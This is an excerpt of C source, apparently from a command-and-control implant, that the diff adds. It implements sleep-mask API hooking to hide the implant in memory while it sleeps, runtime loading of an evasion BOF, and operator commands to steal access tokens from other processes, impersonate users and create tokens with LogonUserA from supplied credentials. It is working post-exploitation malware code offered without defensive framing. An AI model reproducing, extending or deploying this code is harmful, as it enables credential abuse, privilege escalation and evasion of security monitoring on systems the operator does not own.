||||
|
||||
/* ========= [ helpers ] ========= */
|
||||
|
||||
FUNC static UINT32 NaxCountRunningJobs( PNAX_INSTANCE Nax ) {
|
||||
UINT32 count = 0;
|
||||
NAX_JOB* job = Nax->JobHead;
|
||||
while ( job ) {
|
||||
if ( job->State == NAX_JOB_RUNNING )
|
||||
count++;
|
||||
job = job->Next;
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
/* ========= [ gate wrappers ] ========= */
|
||||
|
||||
#ifdef NAX_GATE_SLEEP
|
||||
FUNC VOID WINAPI NaxGateSleep( DWORD dwMilliseconds ) {
|
||||
G_INSTANCE;
|
||||
|
||||
NaxDbg( Nax, "[gate] Sleep(%lu ms)", (UINT32)dwMilliseconds );
|
||||
|
||||
Nax->SmInfo.ActiveJobCount = NaxCountRunningJobs( Nax );
|
||||
|
||||
FUNCTION_CALL fc;
|
||||
MmZero( &fc, sizeof( fc ) );
|
||||
fc.SmInfo = &Nax->SmInfo;
|
||||
|
||||
fc.FunctionPtr = Nax->GateOriginals.Sleep;
|
||||
fc.GateApi = GATE_API_SLEEP;
|
||||
fc.NumArgs = 1;
|
||||
fc.Args[0] = (ULONG_PTR)dwMilliseconds;
|
||||
|
||||
((FN_SM_ENTRY)Nax->Gate)( Nax, &fc );
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef NAX_GATE_WAITFORSINGLEOBJECT
|
||||
FUNC DWORD WINAPI NaxGateWaitForSingleObject( HANDLE hHandle, DWORD dwMilliseconds ) {
|
||||
G_INSTANCE;
|
||||
|
||||
NaxDbg( Nax, "[gate] WaitForSingleObject(handle=%p wait=%lu ms)", hHandle, (UINT32)dwMilliseconds );
|
||||
|
||||
Nax->SmInfo.ActiveJobCount = NaxCountRunningJobs( Nax );
|
||||
|
||||
FUNCTION_CALL fc;
|
||||
MmZero( &fc, sizeof( fc ) );
|
||||
fc.SmInfo = &Nax->SmInfo;
|
||||
|
||||
fc.FunctionPtr = Nax->GateOriginals.WaitForSingleObject;
|
||||
fc.GateApi = GATE_API_WAIT_FOR_SINGLE_OBJECT;
|
||||
fc.NumArgs = 2;
|
||||
fc.Args[0] = (ULONG_PTR)hHandle;
|
||||
fc.Args[1] = (ULONG_PTR)dwMilliseconds;
|
||||
|
||||
((FN_SM_ENTRY)Nax->Gate)( Nax, &fc );
|
||||
|
||||
return (DWORD)fc.RetValue;
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef NAX_GATE_WAITFORMULTIPLEOBJECTS
|
||||
FUNC DWORD WINAPI NaxGateWaitForMultipleObjects( DWORD nCount, const HANDLE* lpHandles, BOOL bWaitAll, DWORD dwMilliseconds ) {
|
||||
G_INSTANCE;
|
||||
|
||||
NaxDbg( Nax, "[gate] WaitForMultipleObjects(n=%lu wait=%lu ms)", (UINT32)nCount, (UINT32)dwMilliseconds );
|
||||
|
||||
Nax->SmInfo.ActiveJobCount = NaxCountRunningJobs( Nax );
|
||||
|
||||
FUNCTION_CALL fc;
|
||||
MmZero( &fc, sizeof( fc ) );
|
||||
fc.SmInfo = &Nax->SmInfo;
|
||||
|
||||
fc.FunctionPtr = Nax->GateOriginals.WaitForMultipleObjects;
|
||||
fc.GateApi = GATE_API_WAIT_FOR_MULTIPLE_OBJECTS;
|
||||
fc.NumArgs = 4;
|
||||
fc.Args[0] = (ULONG_PTR)nCount;
|
||||
fc.Args[1] = (ULONG_PTR)lpHandles;
|
||||
fc.Args[2] = (ULONG_PTR)bWaitAll;
|
||||
fc.Args[3] = (ULONG_PTR)dwMilliseconds;
|
||||
|
||||
((FN_SM_ENTRY)Nax->Gate)( Nax, &fc );
|
||||
|
||||
return (DWORD)fc.RetValue;
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef NAX_GATE_VIRTUALPROTECT
|
||||
FUNC BOOL WINAPI NaxGateVirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) {
|
||||
G_INSTANCE;
|
||||
|
||||
NaxDbg( Nax, "[gate] VirtualProtect(addr=%p size=%zu)", lpAddress, dwSize );
|
||||
FUNCTION_CALL fc;
|
||||
MmZero( &fc, sizeof( fc ) );
|
||||
fc.SmInfo = &Nax->SmInfo;
|
||||
|
||||
fc.FunctionPtr = Nax->GateOriginals.VirtualProtect;
|
||||
fc.GateApi = GATE_API_VIRTUAL_PROTECT;
|
||||
fc.NumArgs = 4;
|
||||
fc.Args[0] = (ULONG_PTR)lpAddress;
|
||||
fc.Args[1] = (ULONG_PTR)dwSize;
|
||||
fc.Args[2] = (ULONG_PTR)flNewProtect;
|
||||
fc.Args[3] = (ULONG_PTR)lpflOldProtect;
|
||||
|
||||
((FN_SM_ENTRY)Nax->Gate)( Nax, &fc );
|
||||
|
||||
return (BOOL)fc.RetValue;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ========= [ gate swap table ] ========= */
|
||||
|
||||
FUNC static VOID NaxGateRegister( PNAX_INSTANCE Nax, PVOID* slot, PVOID gateFunc ) {
|
||||
if ( Nax->GateSwaps.Count >= NAX_GATE_MAX_SWAPS ) return;
|
||||
NAX_GATE_SWAP* e = &Nax->GateSwaps.Entries[Nax->GateSwaps.Count++];
|
||||
e->Slot = slot;
|
||||
e->Original = *slot;
|
||||
*slot = gateFunc;
|
||||
}
|
||||
|
||||
FUNC VOID NaxGateUnwireAll( PNAX_INSTANCE Nax ) {
|
||||
for ( UINT32 i = 0; i < Nax->GateSwaps.Count; i++ )
|
||||
*Nax->GateSwaps.Entries[i].Slot = Nax->GateSwaps.Entries[i].Original;
|
||||
Nax->GateSwaps.Count = 0;
|
||||
Nax->Gate = NULL;
|
||||
}
|
||||
|
||||
/* ========= [ shared: load BOF + wire gate ] ========= */
|
||||
|
||||
FUNC INT NaxSleepmaskWire( PNAX_INSTANCE Nax, PBYTE coff, UINT32 coff_size ) {
|
||||
CHAR sym[] = { 's','l','e','e','p','_','m','a','s','k','\0' };
|
||||
PVOID entry = NaxBofLoadResident( Nax, coff, coff_size, sym );
|
||||
if ( !entry ) {
|
||||
NaxDbg( Nax, "[sleepmask] load failed" );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
Nax->Gate = entry;
|
||||
Nax->GateSwaps.Count = 0;
|
||||
|
||||
/* Record sleepmask region for sleep obfuscation */
|
||||
if ( Nax->Ntdll.NtQueryVirtualMemory ) {
|
||||
MEMORY_BASIC_INFORMATION sm_mbi;
|
||||
MmZero( &sm_mbi, sizeof( sm_mbi ) );
|
||||
if ( Nax->Ntdll.NtQueryVirtualMemory( NtCurrentProcess(), entry, 0, &sm_mbi, sizeof( sm_mbi ), NULL ) == 0 ) {
|
||||
Nax->SmInfo.SmBase = sm_mbi.AllocationBase;
|
||||
Nax->SmInfo.SmSize = (UINT32)sm_mbi.RegionSize;
|
||||
NaxDbg( Nax, "[sleepmask] sm region: base=%p size=0x%x", Nax->SmInfo.SmBase, Nax->SmInfo.SmSize );
|
||||
}
|
||||
}
|
||||
|
||||
if ( Nax->CfgEnabled && Nax->BofStompPool.SmSlot.DllBase )
|
||||
NaxCfgAddTarget( Nax, Nax->BofStompPool.SmSlot.DllBase, entry );
|
||||
|
||||
#ifdef NAX_GATE_SLEEP
|
||||
if ( !Nax->GateOriginals.Sleep )
|
||||
Nax->GateOriginals.Sleep = (PVOID)Nax->Kernel32.Sleep;
|
||||
NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.Sleep, (PVOID)NaxGateSleep );
|
||||
NaxDbg( Nax, "[sleepmask] gated: Sleep (real=%p)", Nax->GateOriginals.Sleep );
|
||||
#endif
|
||||
|
||||
#ifdef NAX_GATE_WAITFORSINGLEOBJECT
|
||||
if ( !Nax->GateOriginals.WaitForSingleObject )
|
||||
Nax->GateOriginals.WaitForSingleObject = (PVOID)Nax->Kernel32.WaitForSingleObject;
|
||||
NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.WaitForSingleObject, (PVOID)NaxGateWaitForSingleObject );
|
||||
NaxDbg( Nax, "[sleepmask] gated: WaitForSingleObject (real=%p)", Nax->GateOriginals.WaitForSingleObject );
|
||||
#endif
|
||||
|
||||
#ifdef NAX_GATE_WAITFORMULTIPLEOBJECTS
|
||||
if ( !Nax->GateOriginals.WaitForMultipleObjects )
|
||||
Nax->GateOriginals.WaitForMultipleObjects = (PVOID)Nax->Kernel32.WaitForMultipleObjects;
|
||||
NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.WaitForMultipleObjects, (PVOID)NaxGateWaitForMultipleObjects );
|
||||
NaxDbg( Nax, "[sleepmask] gated: WaitForMultipleObjects (real=%p)", Nax->GateOriginals.WaitForMultipleObjects );
|
||||
#endif
|
||||
|
||||
#ifdef NAX_GATE_VIRTUALPROTECT
|
||||
if ( !Nax->GateOriginals.VirtualProtect )
|
||||
Nax->GateOriginals.VirtualProtect = (PVOID)Nax->Kernel32.VirtualProtect;
|
||||
NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.VirtualProtect, (PVOID)NaxGateVirtualProtect );
|
||||
NaxDbg( Nax, "[sleepmask] gated: VirtualProtect (real=%p)", Nax->GateOriginals.VirtualProtect );
|
||||
#endif
|
||||
|
||||
NaxDbg( Nax, "[sleepmask] wired: gate=%p", entry );
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ NaxSleepmaskInit - load embedded BOF at startup ] ========= */
|
||||
|
||||
FUNC INT NaxSleepmaskInit( PNAX_INSTANCE Nax ) {
|
||||
#ifdef NAX_SLEEPMASK_LEN
|
||||
NaxDbg( Nax, "[sleepmask] init: embedding %u bytes", (UINT32)NAX_SLEEPMASK_LEN );
|
||||
|
||||
PBYTE buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, NAX_SLEEPMASK_LEN );
|
||||
if ( !buf ) {
|
||||
NaxDbg( Nax, "[sleepmask] init: alloc failed" );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
NAX_SLEEPMASK_WRITE( buf );
|
||||
|
||||
/* Persist a copy so runtime SmSlot DLL changes can re-wire */
|
||||
Nax->SmBofCache = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, NAX_SLEEPMASK_LEN );
|
||||
if ( Nax->SmBofCache ) {
|
||||
MmCopy( Nax->SmBofCache, buf, NAX_SLEEPMASK_LEN );
|
||||
Nax->SmBofCacheLen = NAX_SLEEPMASK_LEN;
|
||||
}
|
||||
|
||||
INT rc = NaxSleepmaskWire( Nax, buf, NAX_SLEEPMASK_LEN );
|
||||
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, buf );
|
||||
return rc;
|
||||
#else
|
||||
return NAX_OK;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ========= [ CMD_SLEEPMASK_SET - runtime reload via task ] ========= */
|
||||
|
||||
FUNC INT NaxCmdSleepmaskSet( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
*out_len = 0;
|
||||
|
||||
if ( args_len < 4 )
|
||||
return NAX_ERR_WIRE;
|
||||
|
||||
UINT32 coff_size = NaxR32( args );
|
||||
if ( coff_size == 0 || coff_size > args_len - 4 )
|
||||
return NAX_ERR_WIRE;
|
||||
|
||||
PBYTE coff = args + 4;
|
||||
|
||||
/* Update cache so SmSlot DLL changes can re-wire later */
|
||||
if ( Nax->SmBofCache )
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->SmBofCache );
|
||||
Nax->SmBofCache = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, coff_size );
|
||||
if ( Nax->SmBofCache ) {
|
||||
MmCopy( Nax->SmBofCache, coff, coff_size );
|
||||
Nax->SmBofCacheLen = coff_size;
|
||||
}
|
||||
|
||||
return NaxSleepmaskWire( Nax, coff, coff_size );
|
||||
}
|
||||
|
||||
/* ========= [ CMD_SLEEPOBF_CONFIG - runtime sleep obfuscation toggle ] ========= */
|
||||
|
||||
FUNC INT NaxCmdSleepObfConfig( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 2 )
|
||||
return NAX_ERR_WIRE;
|
||||
|
||||
Nax->SmInfo.Config.SleepObf = args[0];
|
||||
|
||||
NaxDbg( Nax, "[sleepobf] config: sleep_obf=%u", Nax->SmInfo.Config.SleepObf );
|
||||
|
||||
out[0] = Nax->SmInfo.Config.SleepObf;
|
||||
out[1] = 0;
|
||||
*out_len = 2;
|
||||
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,416 @@
|
||||
#include "Macros.h"
|
||||
#include "Instance.h"
|
||||
#include "Common.h"
|
||||
|
||||
/* ========= [ forward declarations (Packer.c) ] ========= */
|
||||
|
||||
FUNC VOID NaxW16( PBYTE p, UINT16 v );
|
||||
FUNC VOID NaxW32( PBYTE p, UINT32 v );
|
||||
FUNC UINT32 NaxR32( const PBYTE p );
|
||||
|
||||
/* ========= [ helpers ] ========= */
|
||||
|
||||
static UINT32 NaxTokenNextId( PNAX_INSTANCE Nax ) {
|
||||
UINT32 id = 1;
|
||||
for ( ;; id++ ) {
|
||||
NAX_TOKEN_NODE* cur = Nax->TokenHead;
|
||||
BOOL found = FALSE;
|
||||
while ( cur ) {
|
||||
if ( cur->TokenId == id ) { found = TRUE; break; }
|
||||
cur = cur->Next;
|
||||
}
|
||||
if ( !found ) return id;
|
||||
}
|
||||
}
|
||||
|
||||
static BOOL NaxTokenResolveUser( PNAX_INSTANCE Nax, HANDLE hToken, PCHAR user, DWORD* userLen, PCHAR domain, DWORD* domainLen ) {
|
||||
if ( !hToken || !Nax->Advapi32.GetTokenInformation || !Nax->Advapi32.LookupAccountSidA )
|
||||
return FALSE;
|
||||
|
||||
DWORD tokenInfoSize = 0;
|
||||
Nax->Advapi32.GetTokenInformation( hToken, TokenUser, NULL, 0, &tokenInfoSize );
|
||||
if ( tokenInfoSize == 0 ) return FALSE;
|
||||
|
||||
PVOID tokenInfo = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, tokenInfoSize );
|
||||
if ( !tokenInfo ) return FALSE;
|
||||
|
||||
BOOL result = FALSE;
|
||||
if ( Nax->Advapi32.GetTokenInformation( hToken, TokenUser, tokenInfo, tokenInfoSize, &tokenInfoSize ) ) {
|
||||
SID_NAME_USE sidType;
|
||||
result = Nax->Advapi32.LookupAccountSidA( NULL, ((PTOKEN_USER)tokenInfo)->User.Sid, user, userLen, domain, domainLen, &sidType );
|
||||
}
|
||||
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, tokenInfo );
|
||||
return result;
|
||||
}
|
||||
|
||||
static NAX_TOKEN_NODE* NaxTokenAdd( PNAX_INSTANCE Nax, HANDLE hToken, UINT32 sourcePid ) {
|
||||
NAX_TOKEN_NODE* node = (NAX_TOKEN_NODE*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_TOKEN_NODE ) );
|
||||
if ( !node ) return NULL;
|
||||
MmZero( node, sizeof( NAX_TOKEN_NODE ) );
|
||||
|
||||
node->Handle = hToken;
|
||||
node->TokenId = NaxTokenNextId( Nax );
|
||||
node->SourcePid = sourcePid;
|
||||
node->Next = NULL;
|
||||
|
||||
DWORD userLen = sizeof( node->User ) - 1;
|
||||
DWORD domainLen = sizeof( node->Domain ) - 1;
|
||||
NaxTokenResolveUser( Nax, hToken, node->User, &userLen, node->Domain, &domainLen );
|
||||
|
||||
if ( !Nax->TokenHead ) {
|
||||
Nax->TokenHead = node;
|
||||
} else {
|
||||
NAX_TOKEN_NODE* tail = Nax->TokenHead;
|
||||
while ( tail->Next ) tail = tail->Next;
|
||||
tail->Next = node;
|
||||
}
|
||||
|
||||
return node;
|
||||
}
|
||||
|
||||
static NAX_TOKEN_NODE* NaxTokenFindById( PNAX_INSTANCE Nax, UINT32 tokenId ) {
|
||||
NAX_TOKEN_NODE* cur = Nax->TokenHead;
|
||||
while ( cur ) {
|
||||
if ( cur->TokenId == tokenId ) return cur;
|
||||
cur = cur->Next;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static BOOL NaxTokenRemove( PNAX_INSTANCE Nax, UINT32 tokenId ) {
|
||||
NAX_TOKEN_NODE* cur = Nax->TokenHead;
|
||||
NAX_TOKEN_NODE* prev = NULL;
|
||||
|
||||
while ( cur ) {
|
||||
if ( cur->TokenId == tokenId ) {
|
||||
if ( prev ) prev->Next = cur->Next;
|
||||
else Nax->TokenHead = cur->Next;
|
||||
if ( cur->Handle ) Nax->Ntdll.NtClose( cur->Handle );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cur );
|
||||
return TRUE;
|
||||
}
|
||||
prev = cur;
|
||||
cur = cur->Next;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Write a length-prefixed string: len(2LE) + bytes. Returns bytes written. */
|
||||
static UINT32 WriteLenStr( PBYTE p, const PCHAR s ) {
|
||||
UINT32 len = 0;
|
||||
if ( s ) { PCHAR t = (PCHAR)s; while ( *t ) { len++; t++; } }
|
||||
NaxW16( p, (UINT16)len );
|
||||
if ( len > 0 ) MmCopy( p + 2, s, len );
|
||||
return 2 + len;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_TOKEN_GETUID (0x50) ] ========= */
|
||||
|
||||
FUNC INT CmdTokenGetUid( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
if ( Nax->Advapi32.OpenThreadToken )
|
||||
Nax->Advapi32.OpenThreadToken( (HANDLE)(LONG_PTR)-2, TOKEN_QUERY, TRUE, &hToken );
|
||||
|
||||
if ( !hToken )
|
||||
Nax->Ntdll.NtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &hToken );
|
||||
|
||||
if ( !hToken ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
CHAR user[128]; MmZero( user, sizeof( user ) );
|
||||
CHAR domain[128]; MmZero( domain, sizeof( domain ) );
|
||||
DWORD userLen = sizeof( user ) - 1;
|
||||
DWORD domainLen = sizeof( domain ) - 1;
|
||||
|
||||
if ( !NaxTokenResolveUser( Nax, hToken, user, &userLen, domain, &domainLen ) ) {
|
||||
Nax->Ntdll.NtClose( hToken );
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
struct { DWORD TokenIsElevated; } elev;
|
||||
DWORD elevSize = sizeof( elev );
|
||||
BYTE elevated = 0;
|
||||
if ( Nax->Advapi32.GetTokenInformation( hToken, (TOKEN_INFORMATION_CLASS)20, &elev, sizeof( elev ), &elevSize ) )
|
||||
elevated = elev.TokenIsElevated ? 1 : 0;
|
||||
|
||||
Nax->Ntdll.NtClose( hToken );
|
||||
|
||||
UINT32 pos = 0;
|
||||
pos += WriteLenStr( out + pos, user );
|
||||
pos += WriteLenStr( out + pos, domain );
|
||||
out[pos++] = elevated;
|
||||
*out_len = pos;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_TOKEN_STEAL (0x51) ] ========= */
|
||||
|
||||
FUNC INT CmdTokenSteal( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 5 ) return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 pid = NaxR32( args );
|
||||
BYTE impersonate = args[4];
|
||||
|
||||
OBJECT_ATTRIBUTES oa;
|
||||
MmZero( &oa, sizeof( oa ) );
|
||||
oa.Length = sizeof( OBJECT_ATTRIBUTES );
|
||||
|
||||
CLIENT_ID cid;
|
||||
MmZero( &cid, sizeof( cid ) );
|
||||
cid.UniqueProcess = (HANDLE)(UINT_PTR)pid;
|
||||
|
||||
HANDLE hProcess = NULL;
|
||||
NTSTATUS ns = Nax->Ntdll.NtOpenProcess( &hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid );
|
||||
if ( !NT_SUCCESS( ns ) ) {
|
||||
ns = Nax->Ntdll.NtOpenProcess( &hProcess, PROCESS_QUERY_INFORMATION, &oa, &cid );
|
||||
if ( !NT_SUCCESS( ns ) ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
HANDLE hToken = NULL;
|
||||
ns = Nax->Ntdll.NtOpenProcessToken( hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken );
|
||||
Nax->Ntdll.NtClose( hProcess );
|
||||
|
||||
if ( !NT_SUCCESS( ns ) || !hToken ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
HANDLE hDup = NULL;
|
||||
BOOL duped = FALSE;
|
||||
if ( Nax->Advapi32.DuplicateTokenEx ) {
|
||||
duped = Nax->Advapi32.DuplicateTokenEx( hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDup );
|
||||
}
|
||||
|
||||
if ( duped && hDup ) {
|
||||
Nax->Ntdll.NtClose( hToken );
|
||||
hToken = hDup;
|
||||
}
|
||||
|
||||
NAX_TOKEN_NODE* node = NaxTokenAdd( Nax, hToken, pid );
|
||||
if ( !node ) {
|
||||
Nax->Ntdll.NtClose( hToken );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
|
||||
if ( impersonate && Nax->Advapi32.ImpersonateLoggedOnUser ) {
|
||||
Nax->Advapi32.ImpersonateLoggedOnUser( hToken );
|
||||
}
|
||||
|
||||
UINT32 pos = 0;
|
||||
NaxW32( out + pos, node->TokenId ); pos += 4;
|
||||
pos += WriteLenStr( out + pos, node->User );
|
||||
pos += WriteLenStr( out + pos, node->Domain );
|
||||
out[pos++] = impersonate;
|
||||
*out_len = pos;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_TOKEN_USE (0x52) ] ========= */
|
||||
|
||||
FUNC INT CmdTokenUse( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 4 ) return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 tokenId = NaxR32( args );
|
||||
NAX_TOKEN_NODE* node = NaxTokenFindById( Nax, tokenId );
|
||||
if ( !node ) {
|
||||
*out_len = 0;
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
if ( !Nax->Advapi32.ImpersonateLoggedOnUser || !Nax->Advapi32.ImpersonateLoggedOnUser( node->Handle ) ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
UINT32 pos = 0;
|
||||
pos += WriteLenStr( out + pos, node->User );
|
||||
pos += WriteLenStr( out + pos, node->Domain );
|
||||
*out_len = pos;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_TOKEN_LIST (0x53) ] ========= */
|
||||
|
||||
FUNC INT CmdTokenList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
|
||||
UINT32 cap = *out_len;
|
||||
UINT32 pos = 4;
|
||||
UINT32 count = 0;
|
||||
|
||||
NAX_TOKEN_NODE* cur = Nax->TokenHead;
|
||||
while ( cur && pos + 12 < cap ) {
|
||||
NaxW32( out + pos, cur->TokenId ); pos += 4;
|
||||
NaxW32( out + pos, cur->SourcePid ); pos += 4;
|
||||
pos += WriteLenStr( out + pos, cur->User );
|
||||
pos += WriteLenStr( out + pos, cur->Domain );
|
||||
count++;
|
||||
cur = cur->Next;
|
||||
}
|
||||
|
||||
NaxW32( out, count );
|
||||
*out_len = pos;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_TOKEN_RM (0x54) ] ========= */
|
||||
|
||||
FUNC INT CmdTokenRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 4 ) return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 tokenId = NaxR32( args );
|
||||
if ( !NaxTokenRemove( Nax, tokenId ) ) {
|
||||
*out_len = 0;
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
*out_len = 0;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_TOKEN_REVERT (0x55) ] ========= */
|
||||
|
||||
FUNC INT CmdTokenRevert( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
|
||||
if ( !Nax->Advapi32.RevertToSelf || !Nax->Advapi32.RevertToSelf() ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
*out_len = 0;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_TOKEN_MAKE (0x56) ] ========= */
|
||||
|
||||
FUNC INT CmdTokenMake( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 16 || !Nax->Advapi32.LogonUserA ) return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 off = 0;
|
||||
DWORD logonType = NaxR32( args + off ); off += 4;
|
||||
|
||||
UINT32 domainLen = NaxR32( args + off ); off += 4;
|
||||
if ( off + domainLen > args_len ) return NAX_ERR_INVAL;
|
||||
PCHAR domainRaw = (PCHAR)( args + off ); off += domainLen;
|
||||
|
||||
if ( off + 4 > args_len ) return NAX_ERR_INVAL;
|
||||
UINT32 userLen = NaxR32( args + off ); off += 4;
|
||||
if ( off + userLen > args_len ) return NAX_ERR_INVAL;
|
||||
PCHAR userRaw = (PCHAR)( args + off ); off += userLen;
|
||||
|
||||
if ( off + 4 > args_len ) return NAX_ERR_INVAL;
|
||||
UINT32 passLen = NaxR32( args + off ); off += 4;
|
||||
if ( off + passLen > args_len ) return NAX_ERR_INVAL;
|
||||
PCHAR passRaw = (PCHAR)( args + off );
|
||||
|
||||
PCHAR domain = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, domainLen + 1 );
|
||||
PCHAR user = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, userLen + 1 );
|
||||
PCHAR password = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, passLen + 1 );
|
||||
if ( !domain || !user || !password ) {
|
||||
if ( domain ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, domain );
|
||||
if ( user ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, user );
|
||||
if ( password ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, password );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
|
||||
MmCopy( domain, domainRaw, domainLen ); domain[domainLen] = '\0';
|
||||
MmCopy( user, userRaw, userLen ); user[userLen] = '\0';
|
||||
MmCopy( password, passRaw, passLen ); password[passLen] = '\0';
|
||||
|
||||
HANDLE hToken = NULL;
|
||||
BOOL ok = Nax->Advapi32.LogonUserA( user, domain, password, logonType, LOGON32_PROVIDER_DEFAULT, &hToken );
|
||||
|
||||
MmZero( password, passLen );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, password );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, user );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, domain );
|
||||
|
||||
if ( !ok || !hToken ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
NAX_TOKEN_NODE* node = NaxTokenAdd( Nax, hToken, 0 );
|
||||
if ( !node ) {
|
||||
Nax->Ntdll.NtClose( hToken );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
|
||||
UINT32 pos = 0;
|
||||
NaxW32( out + pos, node->TokenId ); pos += 4;
|
||||
pos += WriteLenStr( out + pos, node->User );
|
||||
pos += WriteLenStr( out + pos, node->Domain );
|
||||
*out_len = pos;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_TOKEN_PRIVS (0x57) ] ========= */
|
||||
|
||||
FUNC INT CmdTokenPrivs( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
if ( Nax->Advapi32.OpenThreadToken )
|
||||
Nax->Advapi32.OpenThreadToken( (HANDLE)(LONG_PTR)-2, TOKEN_QUERY, TRUE, &hToken );
|
||||
|
||||
if ( !hToken )
|
||||
Nax->Ntdll.NtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &hToken );
|
||||
|
||||
if ( !hToken ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
DWORD tokenInfoSize = 0;
|
||||
Nax->Advapi32.GetTokenInformation( hToken, TokenPrivileges, NULL, 0, &tokenInfoSize );
|
||||
if ( tokenInfoSize == 0 ) {
|
||||
Nax->Ntdll.NtClose( hToken );
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
PVOID privBuf = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, tokenInfoSize );
|
||||
if ( !privBuf ) {
|
||||
Nax->Ntdll.NtClose( hToken );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
|
||||
if ( !Nax->Advapi32.GetTokenInformation( hToken, TokenPrivileges, privBuf, tokenInfoSize, &tokenInfoSize ) ) {
|
